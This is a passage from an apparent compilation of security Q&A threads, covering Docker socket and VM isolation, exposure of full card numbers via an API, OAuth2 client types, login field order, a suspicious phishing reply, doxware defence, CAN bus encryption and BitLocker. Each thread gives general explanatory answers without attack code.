A VM OS will not have direct access to any of those elements. It will talk to the hypervisor, and the hypervisor will make the appropriate system calls to the host OS. It will filter out invalid calls, adding a layer of security.

5. Raw Sockets

The default Docker Unix socket (/var/run/docker.sock) can be mounted by any container if not properly secured. If some container mounts this socket, it can shutdown, start or create new images.

If it's properly configured and secured, you can achieve a high level of security with a docker container, but it will be less than a properly configured VM. No matter how much hardening tools are employed, a VM will always be more secure. Bare metal isolation is even more secure than a VM. Some bare metal implementations (IBM PR/SM for example) can guarantee that the partitions are as separated as if they were on separate hardware. As far as I know, there's no way to escape a PR/SM virtualization.


Displaying complete credit card information to end user I am using an ecommerce website that accepts and stores CC information. In the webpage, they show only the last 4 digits (which is perfectly fine). But when I intercept the request/response, I could see the complete CC number as part of one API response. Anyways they don't show security code/CVV.

Does sending complete CC number to end user violate PCI compliance?
What are the issues this might cause? I could think of only one scenario - If the account is compromised, attacker can get the complete card number and he can brute force the CVV or use the number on sites that doesn't require CVV.

It sounds like you are saying that the web application masks the user's credit card, but that masking is only in the client-side UI; the server passes the full card back to the user at the API level.

I don't think this is technically a violation of the PCI DSS, because it is in fact masking displayed data, but it's clearly a violation of best practices and I would not be surprised if a QSA found it to be a violation.  Most stores are very careful never to "play back" the full PAN to a user, in case an attacker manages to get access to the account.


Why Oauth2 specification considers native desktop application clients less secure than web server application clients? I assume here that the web server is owned the client as is the desktop. If they aren't, then I have my answer and I misunderstood the differences between desktop Vs web server clients. If they are both owned by the client, I cannot see any serious explanation for why the application would be more secure on a web server. If anything, it would be less secure, because further away thus less in control. If the explanation is that a desktop often runs games and other kinds of unsafe applications, then this is what I call a non serious explanation, because the client would just have to set up a secure desktop. If the explanation is that the client itself is not trusted by the authorization server, then I have a problem, because, of course, the client should not be trusted, but how could it be better on a web server controlled by the client?  I suspect that I will realize that I missed a basic point and I will be very happy or else the whole thing makes no sense.

If the explanation is that a desktop often runs games and other kinds of unsafe applications, then this is what I call a non serious explanation, because the client would just have to set up a secure desktop.

This may be true in theory, but security is a practical endeavour. Servers are generally better secured than desktops. In practice, expecting users to install a "secure desktop" in order to run a specific application is doomed to fail.

For the same reason, assuming that something is less secure because it's further away and you have less control is faulty. Do you apply this reasoning when deciding where to keep your highly valuable items? I bet you don't. I bet you trust bank vaults more than your cupboard at home, even when it means a loss of direct control.


On two-step login forms, why is it the login name and not the password that's asked first? There are several login forms (e.g. Google's) on the internet where you first enter your login name and then, once that's submitted, you get to enter your password.

One of the advantages of this is, I suppose, that the server can pull up an image only it knows and display it to the user to help foil simple phishing schemes.

My question is why nobody does it the other way around - first ask for a password and then for the login name.

I can see the obvious answer (that the password might not be unique and therefore the server wouldn't know whose anti-phishing-images to display),  but that doesn't convince me. Immediately disabling accounts which share passwords or at least forcing users to change their passwords to a unique string next time they log in might be ways around that and as an aside it would solve the "123456" password phenomenon.

Another issue I can see is that in a phishing scenario where a user enters his password correctly and then notices that the wrong images are displayed to him, he's already given up his password and all that remains for the phisher to do is to identify who this password belongs to.

What I'd like to know is whether the login-then-password sequence is mostly due to convention or user interface considerations or whether there are other security issues with reversing the sequence to ask for the password first (besides the two I've mentioned).

A lone password is not necessarily verifiable by itself. In particular, if the server does things properly, then it stores not the passwords themselves, but the output of a password hashing function computed over the password. A password hashing function (as opposed to a mere hash function) includes some extra features, including a salt (for very good security-related reasons). Verifying a password then requires knowledge of the corresponding salt. Since the salt is instance-specific (the point of the salt is that distinct users have their own salts), the user identity is required (the user identity is used as an indexing key for the salt).


Phishing e-mail replied to internal email. What is compromised? We have received a phishing email trying to get money from us, this email came from an account that was spelled closely to our work email but not quite the same.

I have looked up the domain and found it was apparently set up yesterday.

My true concern is that the e-mail was RE:<SUBJECT> where the subject and recipients were all part of a real internal email chain. The email was not really a reply but the subject was correct and was from an email sent hours earlier.

What sort of compromise in my (G-suite) system would allow someone to be able to read subjects but not have full access to the email itself?

Other then full password re-sets should I be concerned about additional holes?

Have you already considered that it might just be coincidence? If the subject was something common, it might not even be a compromise, just a lucky guess. If it wasn't something that obvious, how about these?

In decreasing order of probability:

One of your employees is doing the phishing
Do you have a BYOD policy? Maybe one of their phones has been compromised. Or their laptops for that matter.
One compromised system belonging to any user on the domain (keylogged maybe?)

Honestly, just wait it out. If you've reset all passwords, that should lock out the attacker, at least temporarily. Next go about scrubbing all their computers and remove anything suspicious. If this fails and you receive any more spam, begin resetting passwords in batches - and keep narrowing down your suspects (painful, do not recommend).


How to combat Doxware? There is seemingly very little information available about the emergence of ransomware; doxware.

I could only find a couple of news articles suggesting that doxware encrypts your files, but also copies them over to the attacker.

Current (server side) anti ransomware software kicks off a client when it detects that a lot of filenames are being changed. This will prevent your files from being encrypted but doesn't protect your files from being copied over to an attacker.

I read that Doxware variants have so far only been used in targeted attacks. However, it's very easy to integrate Doxware in automated malware. I'm actually surprised that there haven't been very large and automated attacks yet.

How do you defend against doxware (except from training your users not to click on rogue emails)?

You defend against malicious actions by first identifying those malicious actions. Ransomware can show itself by high numbers of "rename" actions. That's a quick and easy way to identify malicious actions that are unlikely legitimate.

If doxware does not do this, then yes, you need another "indicator of compromise" to look for. Like a lot of other malware, looking for high numbers of file access and high outgoing bandwidth can be one way of doing that.

As with ransomware, whitelisting processes and applications can block infections before they occur.

I think the reason why we are not seeing a huge outbreak of this sort of attack is because an opportunistic attacker is not going to have the resources to handle a million user's files, and trying to collect them all would make them stand out on the Internet (high volumes of traffic). So, it will be targetted attacks where this would be used. But that is not new at all. Many malware have existed for a long time that do this (RATs being the first one that comes to mind).

The more dangerous variant is a 'doxware' that only looks for a particular file or a small set. This would be impossible to detect.


Can Honey Encryption be used for CAN bus security? AES encryption was one of the best encryption techniques used but it had a major disadvantage that it cannot handle brute force attack. Hence honey encryption was introduced which can handle brute force attack but honey encryption can be used only in limited applications. Can honey encryption be used for CAN bus security?

Your question doesn't really make sense.

First of all, CAN bus is typically used for M2M-communication, where you will know what data will be present by looking at which devices are attached. Furthermore, CAN bus is a transport bus. You can transport whatever data you want, but the devices has to support whatever encryption you choose. Embedded devices do typically not support different choices of encryption, if they support encryption at all.

And second, no. AES is not vulnerable to brute force. A brute force is considered infeasible due to the vast key space.


I got my drive "bitlocker encrypted" by enterprise admins. Will this prevent me to share docs with my collaborators? I admit I don't fully understand the level of encryption bitlocker does.
I use Windows 10 and only have a C: drive which just got encrypted per the company policies.

Will this hinder my ability to share locally created docs (e.g. my office files) with my collaborators over email or fileshares?

e.g. if I create locally a doc file, which will then be encrypted, and put it in an email or upload it to an ftp, does it automatically becomes "un-encrypted" and as such, readable by others?

No, it will not.
Bitlocker encrypts your files when your PC is turned off. That means if your PC is turned off and someone would steal it, your documents should be safe, assuming your Bitlocker password is strong.
Once you turn your PC back on and type your Bitlocker password, you can use it normally, as if Bitlocker was not present at all.